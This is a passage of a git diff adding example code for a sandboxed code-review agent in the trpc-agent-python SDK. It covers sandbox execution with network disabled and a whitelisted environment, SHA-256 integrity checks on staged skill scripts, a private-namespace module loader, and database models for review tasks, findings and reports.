asyncio.run(self._runtime.manager(context).cleanup(workspace_id, context)) + self._workspaces.pop(task_id, None) + self._workspace_ids.pop(task_id, None) + self._contexts.pop(task_id, None) + self._budgets.pop(task_id, None) + return + raise RuntimeError("sandbox_event_loop_unsupported") + + async def _execute_async(self, task_id: str, change_set: Any) -> dict[str, Any]: + """创建 workspace、staging Skill、写入最小 diff 载荷、运行固定 argv 并收集限制输出。""" + + try: + budget = self._budgets.setdefault( + task_id, + SandboxBudget(self._config), + ) + budget.reserve( + timeout_seconds=self._config.per_run_timeout_seconds, + output_bytes=self._config.max_output_bytes_per_run, + ) + except SandboxBudgetExceeded as exc: + return _sandbox_error(str(exc), status="blocked") + try: + binding = self._agent_workspace.get() + context = ( + binding.context + if binding is not None + else SandboxInvocationContext(invocation_id=new_invocation_context_id()) + ) + workspace_id = binding.workspace_id if binding is not None else task_id + workspace = await self._runtime.manager(context).create_workspace(workspace_id, context) + self._workspaces[task_id] = workspace + self._workspace_ids[task_id] = workspace_id + self._contexts[task_id] = context + if binding is None: + staged = await stage_code_review_skill( + self._runtime, + workspace, + self._skill_root, + ctx=context, + ) + else: + staged = await verify_loaded_code_review_skill( + self._runtime, + workspace, + self._skill_root, + ctx=context, + ) + payload = change_set_payload(change_set) + uses_host_local_workspace = ( + self.runtime_type == "local" and _local_workspace_path(workspace, ".") is not None + ) + input_path = "work/inputs/diff.json" + await self._runtime.fs(context).put_files( + workspace, + [WorkspacePutFileInfo(path=input_path, content=payload)], + context, + ) + result = await self._runtime.runner(context).run_program( + workspace, + build_run_spec( + staged, + self._config, + python_executable=sys.executable if uses_host_local_workspace else "python3", + use_workspace_root=uses_host_local_workspace, + ), + context, + ) + capture = capture_workspace_run(result, max_output_bytes=self._config.max_output_bytes_per_run) + if capture.timed_out: + return _sandbox_result(capture, status="timeout", error_type="timeout") + if capture.exit_code != 0: + return _sandbox_result(capture, status="failed", error_type="nonzero_exit") + if uses_host_local_workspace: + findings, output_truncated = _local_findings_from_workspace( + workspace, + staged, + max_output_bytes=self._config.max_output_bytes_per_run, + use_workspace_root=True, + ) + if output_truncated: + return _sandbox_result(capture, status="error", truncated=True, error_type="output_truncated") + else: + outputs = await self._runtime.fs(context).collect_outputs( + workspace, + build_output_spec(self._config), + context, + ) + if outputs.limits_hit: + return _sandbox_result(capture, status="error", truncated=True, error_type="output_truncated") + findings = _findings_from_outputs(outputs) + return _sandbox_result(capture, status="ok", findings=findings) + except SandboxStageError as exc: + return _sandbox_error(str(exc)) + except Exception: + return _sandbox_error("sandbox_runtime_error") + + +def create_sandbox_runtime( + runtime_type: str = "container", + *, + host_config: Mapping[str, Any] | None = None, + explicit_local: bool = False, + local_work_root: str = "", + container_runtime_factory: Callable[..., BaseWorkspaceRuntime] = create_container_workspace_runtime, + local_runtime_factory: Callable[..., BaseWorkspaceRuntime] = create_local_workspace_runtime, + cube_runtime_factory: Callable[[], BaseWorkspaceRuntime] | None = None, +) -> SandboxRuntimeSelection: + """创建 SDK workspace runtime,并把有效网络配置显式交给治理层复验。""" + + if runtime_type == "container": + effective_config = _strict_container_host_config(host_config) + runtime = container_runtime_factory(host_config=effective_config) + return SandboxRuntimeSelection( + runtime=runtime, + runtime_type="container", + effective_network_mode="none", + network_policy_verified=True, + explicit_local=False, + ) + if runtime_type == "local": + if not explicit_local: + raise SandboxConfigurationError("local_runtime_not_explicit") + runtime = _SanitizedLocalRuntime( + local_runtime_factory( + work_root=local_work_root, + read_only_staged_skill=True, + auto_inputs=False, + ) + ) + return SandboxRuntimeSelection( + runtime=runtime, + runtime_type="local", + effective_network_mode=None, + network_policy_verified=False, + explicit_local=True, + ) + if runtime_type == "cube": + if cube_runtime_factory is None: + raise SandboxConfigurationError("cube_runtime_unavailable") + return SandboxRuntimeSelection( + runtime=cube_runtime_factory(), + runtime_type="cube", + effective_network_mode=None, + network_policy_verified=False, + explicit_local=False, + ) + raise SandboxConfigurationError("sandbox_runtime_unsupported") + + +def build_sandbox_environment() -> dict[str, str]: + """构造最小白名单环境,不透传宿主 API Key、token 或任意现有环境变量。""" + + return { + "LANG": "C.UTF-8", + "LC_ALL": "C.UTF-8", + "PYTHONUNBUFFERED": "1", + } + + +def build_output_spec(config: ReviewConfig) -> WorkspaceOutputSpec: + """为单一 findings 文件构造 SDK 声明式输出收集限额。""" + + return WorkspaceOutputSpec( + globs=["out/findings.json"], + max_files=1, + max_file_bytes=config.max_output_bytes_per_run, + max_total_bytes=config.max_output_bytes_per_run, + save=False, + inline=True, + ) + + +def build_run_spec( + staged_skill: StagedSkill, + config: ReviewConfig, + *, + python_executable: str = "python3", + use_workspace_root: bool = False, +) -> WorkspaceRunProgramSpec: + """构造固定 run_checks argv、白名单环境和超时;local 可从 workspace 根目录运行以避免依赖链接。""" + + args = [staged_skill.entrypoint] if use_workspace_root else ["scripts/run_checks.py"] + cwd = "." if use_workspace_root else staged_skill.workspace_skill_dir + + return WorkspaceRunProgramSpec( + cmd=python_executable, + args=args, + env=build_sandbox_environment(), + cwd=cwd, + timeout=config.per_run_timeout_seconds, + ) + + +async def stage_code_review_skill( + runtime: BaseWorkspaceRuntime, + workspace: WorkspaceInfo, + skill_root: Path, + *, + script_id: str = _RUN_CHECKS_SCRIPT_ID, + ctx: Any = None, +) -> StagedSkill: + """经 SDK SkillRepository 与 CopySkillStager 复制 Skill,并在沙箱内复验入口摘要。""" + + resolved_root = _validate_skill_root(skill_root) + repository = create_default_skill_repository( + str(resolved_root.parent), + workspace_runtime=runtime, + enable_hot_reload=False, + use_cached_repository=False, + ) + try: + repository_root = Path(repository.path(_SKILL_NAME)).resolve() + except (OSError, ValueError) as exc: + raise SandboxStageError("skill_repository_lookup_failed") from exc + if repository_root != resolved_root: + raise SandboxStageError("skill_repository_root_mismatch") + + try: + result = await CopySkillStager().stage_skill( + SkillStageRequest( + skill_name=_SKILL_NAME, + repository=repository, + workspace=workspace, + ctx=ctx, + ) + ) + except Exception as exc: + raise SandboxStageError(f"skill_stage_{type(exc).__name__.lower()}") from exc + + definition = _manifest_entry(resolved_root, script_id) + actual_sha256 = await _verify_staged_skill_files( + runtime, + workspace, + result.workspace_skill_dir, + definition, + ctx=ctx, + ) + workspace_entrypoint = ( + f"{result.workspace_skill_dir}/scripts/{definition.entrypoint}" + ) + return StagedSkill( + workspace_skill_dir=result.workspace_skill_dir, + entrypoint=workspace_entrypoint, + script_id=script_id, + sha256=actual_sha256, + ) + + +async def verify_loaded_code_review_skill( + runtime: BaseWorkspaceRuntime, + workspace: WorkspaceInfo, + skill_root: Path, + *, + script_id: str = _RUN_CHECKS_SCRIPT_ID, + ctx: Any = None, +) -> StagedSkill: + """复验 skill_load 已复制到当前 workspace 的固定入口,不再次 staging Skill。""" + + resolved_root = _validate_skill_root(skill_root) + definition = _manifest_entry(resolved_root, script_id) + workspace_skill_dir = f"skills/{_SKILL_NAME}" + actual_sha256 = await _verify_staged_skill_files( + runtime, + workspace, + workspace_skill_dir, + definition, + ctx=ctx, + ) + workspace_entrypoint = ( + f"{workspace_skill_dir}/scripts/{definition.entrypoint}" + ) + return StagedSkill( + workspace_skill_dir=workspace_skill_dir, + entrypoint=workspace_entrypoint, + script_id=script_id, + sha256=actual_sha256, + ) + + +async def _verify_staged_skill_files( + runtime: BaseWorkspaceRuntime, + workspace: WorkspaceInfo, + workspace_skill_dir: str, + definition: ManifestScript, + *, + ctx: Any, +) -> str: + """逐文件复验 staged Skill 闭包,并返回入口脚本的规范化摘要。""" + + for integrity_file in definition.files: + workspace_path = ( + f"{workspace_skill_dir}/scripts/{integrity_file.path}" + ) + actual_content = await _staged_file_content( + runtime, + workspace, + workspace_path, + ctx=ctx, + ) + actual_sha256 = canonical_source_sha256(actual_content) + if actual_sha256 != integrity_file.sha256: + raise SandboxStageError("staged_script_integrity_mismatch") + return definition.sha256 + + +async def _staged_file_content( + runtime: BaseWorkspaceRuntime, + workspace: WorkspaceInfo, + workspace_path: str, + *, + ctx: Any, +) -> str: + """通过 runtime collector 验证 staged 脚本;显式 local fallback 才使用等价的受限本地读取。""" + + try: + collected = await runtime.fs(ctx).collect( + workspace, + [workspace_path], + ctx, + ) + except Exception: + collected = [] + if len(collected) == 1 and collected[0].name == workspace_path: + return collected[0].content + local_path = _local_workspace_path(workspace, workspace_path) + if local_path is None: + raise SandboxStageError("staged_script_missing") + try: + return local_path.read_text(encoding="utf-8") + except (OSError, UnicodeDecodeError) as exc: + raise SandboxStageError("staged_script_collect_failed") from exc + + +def _local_workspace_path(workspace: WorkspaceInfo, relative_path: str) -> Path | None: + """在显式 local runtime 中把 workspace 相对路径映射到受 containment 约束的本机文件。""" + + try: + root = Path(workspace.path).resolve(strict=True) + candidate = (root / relative_path).resolve(strict=True) + candidate.relative_to(root) + except (OSError, ValueError): + return None + return candidate + + +def _local_findings_from_workspace( + workspace: WorkspaceInfo, + staged_skill: StagedSkill, + *, + max_output_bytes: int, + use_workspace_root: bool = False, +) -> tuple[list[dict[str, Any]], bool]: + """读取 local fallback 的受限 findings 文件;workspace 根模式不依赖 Windows Skill 链接。""" + + output_relative_path = "out/findings.json" + if not use_workspace_root: + output_relative_path = f"{staged_skill.workspace_skill_dir}/out/findings.json" + + output_path = _local_workspace_path( + workspace, + output_relative_path, + ) + if output_path is None: + raise ValueError("sandbox_output_missing") + try: + if output_path.stat().st_size > max_output_bytes: + return [], True + content = output_path.read_text(encoding="utf-8") + except (OSError, UnicodeDecodeError) as exc: + raise ValueError("sandbox_output_missing") from exc + payload = json.loads(content) + findings = payload.get("findings") if isinstance(payload, Mapping) else None + if not isinstance(findings, list): + raise ValueError("sandbox_findings_invalid") + return [dict(finding) for finding in findings if isinstance(finding, Mapping)], False + + +def bounded_output(stdout: str, stderr: str, *, max_bytes: int) -> OutputCapture: + """按总字节额度截断 stdout/stderr,避免 UTF-8 半字符和无界日志占用。""" + + if isinstance(max_bytes, bool) or not isinstance(max_bytes, int) or max_bytes <= 0: + raise ValueError("sandbox_output_limit_invalid") + bounded_stdout, stdout_truncated = _truncate_utf8(stdout, max_bytes) + remaining = max_bytes - len(bounded_stdout.encode("utf-8")) + bounded_stderr, stderr_truncated = _truncate_utf8(stderr, remaining) + return OutputCapture( + stdout=bounded_stdout, + stderr=bounded_stderr, + truncated=stdout_truncated or stderr_truncated, + ) + + +def capture_workspace_run(result: Any, *, max_output_bytes: int) -> SandboxRunCapture: + """从 SDK 运行结果提取最小运行事实,并在进入宿主后续处理前执行输出限额。""" + + raw_stdout = getattr(result, "stdout", "") + raw_stderr = getattr(result, "stderr", "") + output = bounded_output( + redact_text(raw_stdout) if isinstance(raw_stdout, str) else "", + redact_text(raw_stderr) if isinstance(raw_stderr, str) else "", + max_bytes=max_output_bytes, + ) + duration = getattr(result, "duration", 0.0) + duration_ms = max(int(float(duration) * 1000), 0) if isinstance(duration, (int, float)) else 0 + exit_code = getattr(result, "exit_code", None) + if isinstance(exit_code, bool) or not isinstance(exit_code, int): + exit_code = None + return SandboxRunCapture( + exit_code=exit_code, + timed_out=bool(getattr(result, "timed_out", False)), + duration_ms=duration_ms, + output=output, + ) + + +def _strict_container_host_config(host_config: Mapping[str, Any] | None) -> dict[str, Any]: + """拒绝 bind、未知字段和 network_mode 覆盖,确保容器实例有效网络配置为 none。""" + + supplied = {} if host_config is None else dict(host_config) + if "Binds" in supplied or "binds" in supplied or "volumes" in supplied: + raise SandboxConfigurationError("host_mount_forbidden") + unknown = set(supplied) - _ALLOWED_CONTAINER_CONFIG_KEYS + if unknown: + raise SandboxConfigurationError("container_host_config_unsupported") + if supplied.get("network_mode", "none") != "none": + raise SandboxConfigurationError("container_network_mode_invalid") + return {"network_mode": "none"} + + +def _validate_skill_root(skill_root: Path) -> Path: + """验证 host Skill 根目录是规范 code-review 目录,防止 staging 任意宿主路径。""" + + try: + resolved_root = Path(skill_root).resolve(strict=True) + except OSError as exc: + raise SandboxStageError("skill_root_unavailable") from exc + if resolved_root.name != _SKILL_NAME or not (resolved_root / "SKILL.md").is_file(): + raise SandboxStageError("skill_root_invalid") + return resolved_root + + +def _manifest_entry(skill_root: Path, script_id: str) -> ManifestScript: + """从受控 manifest 提取入口和完整脚本文件闭包。""" + + try: + manifest = json.loads((skill_root / "scripts" / "manifest.json").read_text(encoding="utf-8")) + except (OSError, ValueError, UnicodeDecodeError) as exc: + raise SandboxStageError("manifest_unavailable") from exc + scripts = manifest.get("scripts") if isinstance(manifest, Mapping) else None + if not isinstance(scripts, list): + raise SandboxStageError("manifest_invalid") + for item in scripts: + if not isinstance(item, Mapping) or item.get("script_id") != script_id: + continue + entrypoint = item.get("entrypoint") + normalized_entrypoint = safe_script_relative_path(entrypoint) + sha256 = item.get("sha256") + integrity_files = parse_integrity_files(item.get("files")) + if ( + normalized_entrypoint is None + or not isinstance(sha256, str) + or len(sha256) != 64 + or integrity_files is None + ): + break + integrity_by_path = { + integrity_file.path: integrity_file.sha256 + for integrity_file in integrity_files + } + if integrity_by_path.get(normalized_entrypoint) != sha256: + break + return ManifestScript( + entrypoint=normalized_entrypoint, + sha256=sha256, + files=integrity_files, + ) + raise SandboxStageError("manifest_script_unregistered") + + +def _truncate_utf8(text: str, max_bytes: int) -> tuple[str, bool]: + """返回不超过字节额度的 UTF-8 前缀,必要时回退到完整字符边界。""" + + if not isinstance(text, str): + return "", True + if max_bytes <= 0: + return "", bool(text) + encoded = text.encode("utf-8") + if len(encoded) <= max_bytes: + return text, False + prefix = encoded[:max_bytes] + while prefix: + try: + return prefix.decode("utf-8"), True + except UnicodeDecodeError: + prefix = prefix[:-1] + return "", True + + +def _sandbox_error(error_type: str, *, status: str = "error") -> dict[str, Any]: + """生成不含异常原文、路径或凭据的失败运行记录。""" + + return { + "status": status, + "exit_code": None, + "timed_out": False, + "truncated": False, + "stdout_excerpt": "", + "stderr_excerpt": "", + "error_type": error_type, + "duration_ms": 0, + "findings": [], + } + + +def _sandbox_result( + capture: SandboxRunCapture, + *, + status: str, + truncated: bool = False, + error_type: str | None = None, + findings: list[dict[str, Any]] | None = None, +) -> dict[str, Any]: + """将已脱敏且限额的 SDK 运行结果转换为 pipeline 所需的稳定字段。""" + + return { + "status": status, + "exit_code": capture.exit_code, + "timed_out": capture.timed_out, + "truncated": capture.output.truncated or truncated, + "stdout_excerpt": capture.output.stdout, + "stderr_excerpt": capture.output.stderr, + "error_type": error_type, + "duration_ms": capture.duration_ms, + "findings": [] if findings is None else findings, + } + + +def _findings_from_outputs(outputs: Any) -> list[dict[str, Any]]: + """只从受 WorkspaceOutputSpec 限制且内联的 findings 文件读取结构化候选。""" + + files = getattr(outputs, "files", ()) + if not isinstance(files, list) or len(files) != 1: + raise ValueError("sandbox_output_missing") + content = getattr(files[0], "content", "") + if not isinstance(content, str): + raise ValueError("sandbox_output_invalid") + payload = json.loads(content) + findings = payload.get("findings") if isinstance(payload, Mapping) else None + if not isinstance(findings, list): + raise ValueError("sandbox_findings_invalid") + return [dict(finding) for finding in findings if isinstance(finding, Mapping)] + + +def change_set_payload(change_set: Any) -> bytes: + """重建最小 diff,并仅为可分析文件附带受控完整文本。""" + + files = getattr(change_set, "files", ()) + if not isinstance(files, tuple): + raise ValueError("sandbox_change_set_invalid") + lines: list[str] = [] + full_files: dict[str, str] = {} + file_metadata: dict[str, dict[str, Any]] = {} + for file_change in files: + path = getattr(file_change, "normalized_path", "") + hunks = getattr(file_change, "hunks", ()) + if not isinstance(path, str) or not path or not isinstance(hunks, tuple): + raise ValueError("sandbox_change_set_invalid") + full_text = getattr(file_change, "full_text", None) + if full_text is not None: + if not isinstance(full_text, str): + raise ValueError("sandbox_change_set_invalid") + full_files[path] = full_text + status = getattr(file_change, "status", None) + review_scope = getattr(file_change, "review_scope", None) + analysis_mode = getattr(file_change, "analysis_mode", None) + if not all( + isinstance(value, str) + for value in (status, review_scope, analysis_mode) + ): + raise ValueError("sandbox_change_set_invalid") + file_metadata[path] = { + "status": status, + "review_scope": review_scope, + "analysis_mode": analysis_mode, + "is_binary": bool(getattr(file_change, "is_binary", False)), + } + lines.extend((f"diff --git a/{path} b/{path}", f"--- a/{path}", f"+++ b/{path}")) + for hunk in hunks: + lines.append( + f"@@ -{hunk.old_start},{hunk.old_count} +{hunk.new_start},{hunk.new_count} @@" + ) + old_line = hunk.old_start + new_line = hunk.new_start + while old_line < hunk.old_start + hunk.old_count or new_line < hunk.new_start + hunk.new_count: + if old_line in hunk.deleted_lines: + lines.append("-" + hunk.deleted_lines[old_line]) + old_line += 1 + elif new_line in hunk.added_lines: + lines.append("+" + hunk.added_lines[new_line]) + new_line += 1 + else: + context = hunk.context_lines.get(new_line) + if context is None: + raise ValueError("sandbox_change_set_hunk_invalid") + lines.append(" " + context) + old_line += 1 + new_line += 1 + source_kind = getattr(change_set, "source_kind", None) + if source_kind not in {"diff_file", "repo_path", "fixture", "files"}: + raise ValueError("sandbox_change_set_invalid") + payload = { + "source_kind": source_kind, + "input_sha256": getattr(change_set, "input_sha256", ""), + "diff": "\n".join(lines) + "\n", + "full_files": full_files, + "file_metadata": file_metadata, + } + return json.dumps(payload, ensure_ascii=False, sort_keys=True).encode("utf-8") diff --git a/examples/skills_code_review_agent/code_review/skill_integrity.py b/examples/skills_code_review_agent/code_review/skill_integrity.py new file mode 100644 index 000000000..e1a6a40a3 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/skill_integrity.py @@ -0,0 +1,95 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""跨平台 Skill 脚本完整性摘要与 manifest 文件闭包校验。""" + +from __future__ import annotations + +import hashlib +import re +from collections.abc import Mapping, Sequence +from dataclasses import dataclass +from pathlib import PurePosixPath +from typing import Any + + +_SHA256_PATTERN = re.compile(r"[0-9a-f]{64}") + + +@dataclass(frozen=True) +class IntegrityFile: + """保存一个受 manifest 保护的相对脚本路径及其规范化摘要。""" + + path: str + sha256: str + + +def canonical_source_bytes(content: bytes | str) -> bytes: + """把 UTF-8 源码统一为无 BOM、LF 换行字节,消除 Git CRLF 检出差异。""" + + if isinstance(content, str): + text = content + elif isinstance(content, bytes): + text = content.decode("utf-8-sig") + else: + raise TypeError("script_content_invalid") + return text.replace("\r\n", "\n").replace("\r", "\n").encode("utf-8") + + +def canonical_source_sha256(content: bytes | str) -> str: + """计算跨 Windows/POSIX 检出稳定的 Skill 源码 SHA-256。""" + + return hashlib.sha256(canonical_source_bytes(content)).hexdigest() + + +def safe_script_relative_path(value: Any) -> str | None: + """校验 manifest 脚本路径为不含父级穿越的 POSIX 相对路径。""" + + if not isinstance(value, str) or not value: + return None + if "\\" in value or any(ord(character) < 32 for character in value): + return None + path = PurePosixPath(value) + if path.is_absolute() or any(part in {"", ".", ".."} for part in path.parts): + return None + return path.as_posix() + + +def parse_integrity_files(value: Any) -> tuple[IntegrityFile, ...] | None: + """解析并严格验证 manifest 的完整脚本文件清单。""" + + if not isinstance(value, Sequence) or isinstance(value, (str, bytes)): + return None + files: list[IntegrityFile] = [] + seen_paths: set[str] = set() + for item in value: + if not isinstance(item, Mapping): + return None + path = safe_script_relative_path(item.get("path")) + sha256 = item.get("sha256") + if ( + path is None + or path in seen_paths + or not isinstance(sha256, str) + or _SHA256_PATTERN.fullmatch(sha256) is None + ): + return None + seen_paths.add(path) + files.append(IntegrityFile(path=path, sha256=sha256)) + if not files: + return None + return tuple(sorted(files, key=lambda item: item.path)) + + +__all__ = [ + "IntegrityFile", + "canonical_source_bytes", + "canonical_source_sha256", + "parse_integrity_files", + "safe_script_relative_path", +] diff --git a/examples/skills_code_review_agent/code_review/skill_loader.py b/examples/skills_code_review_agent/code_review/skill_loader.py new file mode 100644 index 000000000..738714231 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/skill_loader.py @@ -0,0 +1,62 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""在宿主进程中以私有命名空间加载 Skill 自有模块。""" + +from __future__ import annotations + +import importlib +import importlib.util +import re +import sys +from pathlib import Path +from types import ModuleType + + +_PROJECT_ROOT = Path(__file__).resolve().parents[1] +_SKILL_LIB_ROOT = _PROJECT_ROOT / "skills" / "code-review" / "scripts" / "lib" +_SKILL_PACKAGE_NAME = "_trpc_code_review_skill_lib" +_MODULE_NAME_PATTERN = re.compile(r"[A-Za-z_][A-Za-z0-9_]*") + + +def _load_skill_package() -> None: + """注册私有 Skill 包名,避免把通用 lib 放入宿主 sys.path。""" + + existing = sys.modules.get(_SKILL_PACKAGE_NAME) + expected_init = (_SKILL_LIB_ROOT / "__init__.py").resolve() + if existing is not None: + existing_path = getattr(existing, "__file__", None) + if existing_path is None or Path(existing_path).resolve() != expected_init: + raise RuntimeError("skill_package_namespace_conflict") + return + specification = importlib.util.spec_from_file_location( + _SKILL_PACKAGE_NAME, + expected_init, + submodule_search_locations=[str(_SKILL_LIB_ROOT)], + ) + if specification is None or specification.loader is None: + raise RuntimeError("skill_package_load_failed") + package = importlib.util.module_from_spec(specification) + sys.modules[_SKILL_PACKAGE_NAME] = package + try: + specification.loader.exec_module(package) + except Exception: + sys.modules.pop(_SKILL_PACKAGE_NAME, None) + raise + + +def load_skill_module(module_name: str) -> ModuleType: + """按受控模块名加载 Skill 模块,并保留相对导入所需的私有包上下文。""" + + if _MODULE_NAME_PATTERN.fullmatch(module_name) is None: + raise ValueError("skill_module_name_invalid") + module_path = _SKILL_LIB_ROOT / f"{module_name}.py" + if not module_path.is_file(): + raise ValueError("skill_module_unavailable") + _load_skill_package() + return importlib.import_module(f"{_SKILL_PACKAGE_NAME}.{module_name}") diff --git a/examples/skills_code_review_agent/code_review/store/__init__.py b/examples/skills_code_review_agent/code_review/store/__init__.py new file mode 100644 index 000000000..f950d0a37 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/store/__init__.py @@ -0,0 +1,19 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Persistence interfaces for code-review records.""" + +from .init_db import init_db +from .review_store import DEFAULT_DB_URL, ReviewStore, SqlReviewStore + +__all__ = [ + "DEFAULT_DB_URL", + "ReviewStore", + "SqlReviewStore", + "init_db", +] diff --git a/examples/skills_code_review_agent/code_review/store/init_db.py b/examples/skills_code_review_agent/code_review/store/init_db.py new file mode 100644 index 000000000..7411e482e --- /dev/null +++ b/examples/skills_code_review_agent/code_review/store/init_db.py @@ -0,0 +1,42 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Idempotent database initialization.""" + +from __future__ import annotations + +import argparse +from collections.abc import Sequence + +from .review_store import DEFAULT_DB_URL, SqlReviewStore + + +def init_db(db_url: str = DEFAULT_DB_URL) -> None: + """创建五张评审业务表,并在完成后关闭初始化引擎。""" + + store = SqlReviewStore(db_url) + try: + store.initialize() + finally: + store.close() + + +def main(argv: Sequence[str] | None = None) -> int: + """解析数据库参数并执行幂等初始化命令。""" + + parser = argparse.ArgumentParser( + description="Initialize the automatic code-review database.", + ) + parser.add_argument("--db-url", default=DEFAULT_DB_URL) + args = parser.parse_args(argv) + init_db(args.db_url) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/skills_code_review_agent/code_review/store/models.py b/examples/skills_code_review_agent/code_review/store/models.py new file mode 100644 index 000000000..e421ef651 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/store/models.py @@ -0,0 +1,193 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""SQLAlchemy models for the five code-review tables.""" + +from __future__ import annotations + +from datetime import datetime, timezone +from typing import Any + +from sqlalchemy import Boolean, Float, ForeignKey, Index, Integer, String, Text +from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column + +from trpc_agent_sdk.storage._sql_common import ( + DynamicJSON, + PreciseTimestamp, +) + + +def _utc_now() -> datetime: + """返回供可移植时间戳列使用的带时区 UTC 当前时间。""" + + return datetime.now(timezone.utc) + + +class Base(DeclarativeBase): + """Isolated metadata for the code-review business tables.""" + + +class ReviewTaskModel(Base): + """One automatic code-review task.""" + + __tablename__ = "cr_review_task" + + id: Mapped[str] = mapped_column(String(64), primary_key=True) + status: Mapped[str] = mapped_column(String(32), nullable=False, index=True) + input_type: Mapped[str] = mapped_column(String(32), nullable=False) + input_ref: Mapped[str] = mapped_column(Text, nullable=False) + diff_summary: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + config: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + error_type: Mapped[str | None] = mapped_column(String(64)) + error_message: Mapped[str | None] = mapped_column(Text) + created_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + nullable=False, + ) + updated_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + onupdate=_utc_now, + nullable=False, + ) + + +class SandboxRunModel(Base): + """One governed sandbox execution attempt.""" + + __tablename__ = "cr_sandbox_run" + + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) + task_id: Mapped[str] = mapped_column( + ForeignKey("cr_review_task.id", ondelete="CASCADE"), + nullable=False, + index=True, + ) + status: Mapped[str] = mapped_column(String(32), nullable=False) + exit_code: Mapped[int | None] = mapped_column(Integer) + timed_out: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False) + truncated: Mapped[bool] = mapped_column(Boolean, default=False, nullable=False) + filter_action: Mapped[str | None] = mapped_column(String(32)) + stdout_excerpt: Mapped[str] = mapped_column(Text, default="", nullable=False) + stderr_excerpt: Mapped[str] = mapped_column(Text, default="", nullable=False) + error_type: Mapped[str | None] = mapped_column(String(64)) + duration_ms: Mapped[int] = mapped_column(Integer, default=0, nullable=False) + created_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + nullable=False, + ) + + +class FilterEventModel(Base): + """One Filter decision made before sandbox execution.""" + + __tablename__ = "cr_filter_event" + + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) + task_id: Mapped[str] = mapped_column( + ForeignKey("cr_review_task.id", ondelete="CASCADE"), + nullable=False, + index=True, + ) + stage: Mapped[str] = mapped_column(String(64), nullable=False) + target: Mapped[str] = mapped_column(String(255), nullable=False) + action: Mapped[str] = mapped_column(String(32), nullable=False, index=True) + rule: Mapped[str] = mapped_column(String(128), nullable=False) + reasons: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + created_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + nullable=False, + ) + + +class FindingModel(Base): + """One deduplicated or suppressed review candidate.""" + + __tablename__ = "cr_finding" + + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) + task_id: Mapped[str] = mapped_column( + ForeignKey("cr_review_task.id", ondelete="CASCADE"), + nullable=False, + index=True, + ) + severity: Mapped[str] = mapped_column(String(16), nullable=False, index=True) + category: Mapped[str] = mapped_column(String(64), nullable=False, index=True) + file: Mapped[str] = mapped_column(Text, nullable=False) + line: Mapped[int] = mapped_column(Integer, nullable=False) + title: Mapped[str] = mapped_column(Text, nullable=False) + evidence: Mapped[str] = mapped_column(Text, nullable=False) + recommendation: Mapped[str] = mapped_column(Text, nullable=False) + confidence: Mapped[float] = mapped_column(Float, nullable=False) + source: Mapped[str] = mapped_column(String(32), nullable=False) + rule_id: Mapped[str] = mapped_column(String(128), nullable=False) + bucket: Mapped[str] = mapped_column(String(32), nullable=False) + dedup_key: Mapped[str] = mapped_column(String(1024), nullable=False, index=True) + extra: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + created_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + nullable=False, + ) + + __table_args__ = ( + Index( + "ix_cr_finding_task_file_line_category", + "task_id", + "file", + "line", + "category", + ), + ) + + +class ReportModel(Base): + """Canonical, fully redacted report for a task.""" + + __tablename__ = "cr_report" + + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) + task_id: Mapped[str] = mapped_column( + ForeignKey("cr_review_task.id", ondelete="CASCADE"), + nullable=False, + unique=True, + index=True, + ) + schema_version: Mapped[str] = mapped_column(String(32), nullable=False) + rule_pack_version: Mapped[str] = mapped_column(String(32), nullable=False) + config_digest: Mapped[str] = mapped_column(String(64), nullable=False) + input_sha256: Mapped[str] = mapped_column(String(64), nullable=False) + summary: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + severity_stats: Mapped[dict[str, Any]] = mapped_column( + DynamicJSON, + nullable=False, + ) + filter_summary: Mapped[dict[str, Any]] = mapped_column( + DynamicJSON, + nullable=False, + ) + sandbox_summary: Mapped[dict[str, Any]] = mapped_column( + DynamicJSON, + nullable=False, + ) + metrics: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + report: Mapped[dict[str, Any]] = mapped_column(DynamicJSON, nullable=False) + created_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + nullable=False, + ) + updated_at: Mapped[datetime] = mapped_column( + PreciseTimestamp, + default=_utc_now, + onupdate=_utc_now, + nullable=False, + ) diff --git a/examples/skills_code_review_agent/code_review/store/review_store.py b/examples/skills_code_review_agent/code_review/store/review_store.py new file mode 100644 index 000000000..06745edcb --- /dev/null +++ 